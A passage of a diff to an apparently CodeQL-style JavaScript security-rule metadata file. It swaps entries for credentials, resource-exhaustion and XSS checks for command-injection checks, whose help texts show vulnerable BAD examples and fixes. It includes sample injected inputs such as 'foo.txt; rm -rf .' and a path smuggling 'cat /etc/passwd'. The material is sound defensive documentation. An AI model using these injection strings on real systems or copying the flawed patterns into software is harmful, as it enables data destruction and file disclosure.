embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-259", "external/cwe/cwe-321", "external/cwe/cwe-798" ], - "description" : "Hard-coding credentials in source code may enable an attacker\n to gain unauthorized access.", - "id" : "js/hardcoded-credentials", + "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], + "description" : "Using externally controlled strings in a command line may allow a malicious\n user to change the meaning of the command.", + "id" : "js/shell-command-constructed-from-input", "kind" : "path-problem", - "name" : "Hard-coded credentials", + "name" : "Unsafe shell command constructed from library input", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "9.8" + "problem.severity" : "error", + "security-severity" : "6.3" } }, { - "id" : "js/resource-exhaustion-from-deep-object-traversal", - "name" : "js/resource-exhaustion-from-deep-object-traversal", + "id" : "js/command-line-injection", + "name" : "js/command-line-injection", "shortDescription" : { - "text" : "Resources exhaustion from deep object traversal" + "text" : "Uncontrolled command line" }, "fullDescription" : { - "text" : "Processing user-controlled object hierarchies inefficiently can lead to denial of service." + "text" : "Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", - "markdown" : "# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" + "text" : "# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url'),\n shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n let options = url.parse(req.url, true).query.options;\n\n cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n // only allow safe characters in file name\n if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n cp.execSync(`wc -l ${file}`); // GOOD\n }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", + "markdown" : "# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url'),\n shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n let options = url.parse(req.url, true).query.options;\n\n cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n // only allow safe characters in file name\n if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n cp.execSync(`wc -l ${file}`); // GOOD\n }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-400" ], - "description" : "Processing user-controlled object hierarchies inefficiently can lead to denial of service.", - "id" : "js/resource-exhaustion-from-deep-object-traversal", + "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], + "description" : "Using externally controlled strings in a command line may allow a malicious\n user to change the meaning of the command.", + "id" : "js/command-line-injection", "kind" : "path-problem", - "name" : "Resources exhaustion from deep object traversal", + "name" : "Uncontrolled command line", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "7.5" + "problem.severity" : "error", + "security-severity" : "9.8" } }, { - "id" : "js/xss-through-dom", - "name" : "js/xss-through-dom", + "id" : "js/shell-command-injection-from-environment", + "name" : "js/shell-command-injection-from-environment", "shortDescription" : { - "text" : "DOM text reinterpreted as HTML" + "text" : "Shell command built from environment values" }, "fullDescription" : { - "text" : "Reinterpreting text from the DOM as HTML can lead to a cross-site scripting vulnerability." + "text" : "Building a shell command string with values from the enclosing environment may cause subtle bugs or vulnerabilities." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# DOM text reinterpreted as HTML\nExtracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability.\n\nA webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below.\n\n\n## Example\nThe following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated.\n\n\n```javascript\n$(\"button\").click(function () {\n var target = $(this).attr(\"data-target\");\n $(target).hide();\n});\n\n```\nHowever, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitrary JavaScript.\n\nThe above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack.\n\n\n```javascript\n$(\"button\").click(function () {\n var target = $(this).attr(\"data-target\");\n\t$.find(target).hide();\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# DOM text reinterpreted as HTML\nExtracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability.\n\nA webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below.\n\n\n## Example\nThe following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated.\n\n\n```javascript\n$(\"button\").click(function () {\n var target = $(this).attr(\"data-target\");\n $(target).hide();\n});\n\n```\nHowever, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitrary JavaScript.\n\nThe above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack.\n\n\n```javascript\n$(\"button\").click(function () {\n var target = $(this).attr(\"data-target\");\n\t$.find(target).hide();\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "text" : "# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n path = require(\"path\");\nfunction cleanupTemp() {\n let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n path = require(\"path\");\nfunction cleanupTemp() {\n let cmd = \"rm\",\n args = [\"-rf\", path.join(__dirname, \"temp\")];\n cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", + "markdown" : "# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n path = require(\"path\");\nfunction cleanupTemp() {\n let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n path = require(\"path\");\nfunction cleanupTemp() {\n let cmd = \"rm\",\n args = [\"-rf\", path.join(__dirname, \"temp\")];\n cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ], - "description" : "Reinterpreting text from the DOM as HTML\n can lead to a cross-site scripting vulnerability.", - "id" : "js/xss-through-dom", + "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], + "description" : "Building a shell command string with values from the enclosing\n environment may cause subtle bugs or vulnerabilities.", + "id" : "js/shell-command-injection-from-environment", "kind" : "path-problem", - "name" : "DOM text reinterpreted as HTML", + "name" : "Shell command built from environment values", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "6.1" + "security-severity" : "6.3" } }, { - "id" : "js/xss-through-exception", - "name" : "js/xss-through-exception", + "id" : "js/unnecessary-use-of-cat", + "name" : "js/unnecessary-use-of-cat", "shortDescription" : { - "text" : "Exception text reinterpreted as HTML" + "text" : "Unnecessary use of `cat` process" }, "fullDescription" : { - "text" : "Reinterpreting text from an exception as HTML can lead to a cross-site scripting vulnerability." + "text" : "Using the `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, - "help" : { - "text" : "# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n var href = document.location.href,\n deflt = href.substring(href.indexOf(\"default=\")+8);\n \n try {\n var parsed = unknownParseFunction(deflt); \n } catch(e) {\n document.write(\"Had an error: \" + e + \".\");\n }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n if (!ajv.validate('pollData', req.body)) {\n res.send(ajv.errorsText());\n }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'': 'foo'}` will generate the error `data/ should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n var href = document.location.href,\n deflt = href.substring(href.indexOf(\"default=\")+8);\n \n try {\n var parsed = unknownParseFunction(deflt); \n } catch(e) {\n document.write(\"Had an error: \" + e + \".\");\n }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n if (!ajv.validate('pollData', req.body)) {\n res.send(ajv.errorsText());\n }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'': 'foo'}` will generate the error `data/ should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "help" : { + "text" : "# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n", + "markdown" : "# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ], - "description" : "Reinterpreting text from an exception as HTML\n can lead to a cross-site scripting vulnerability.", - "id" : "js/xss-through-exception", - "kind" : "path-problem", - "name" : "Exception text reinterpreted as HTML", + "tags" : [ "correctness", "security", "maintainability", "external/cwe/cwe-078" ], + "description" : "Using the `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities.", + "id" : "js/unnecessary-use-of-cat", + "kind" : "problem", + "name" : "Unnecessary use of `cat` process", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "6.1" + "problem.severity" : "error", + "security-severity" : "6.3" } }, { "id" : "js/unsafe-jquery-plugin", @@ -1002,31 +1083,31 @@ "security-severity" : "6.1" } }, { - "id" : "js/xss", - "name" : "js/xss", + "id" : "js/html-constructed-from-input", + "name" : "js/html-constructed-from-input", "shortDescription" : { - "text" : "Client-side cross-site scripting" + "text" : "Unsafe HTML constructed from library input" }, "fullDescription" : { - "text" : "Writing user input directly to the DOM allows for a cross-site scripting vulnerability." + "text" : "Using externally controlled strings to construct HTML might allow a malicious user to perform a cross-site scripting attack." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n var href = document.location.href,\n deflt = href.substring(href.indexOf(\"default=\")+8);\n document.write(\"\");\n document.write(\"\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider 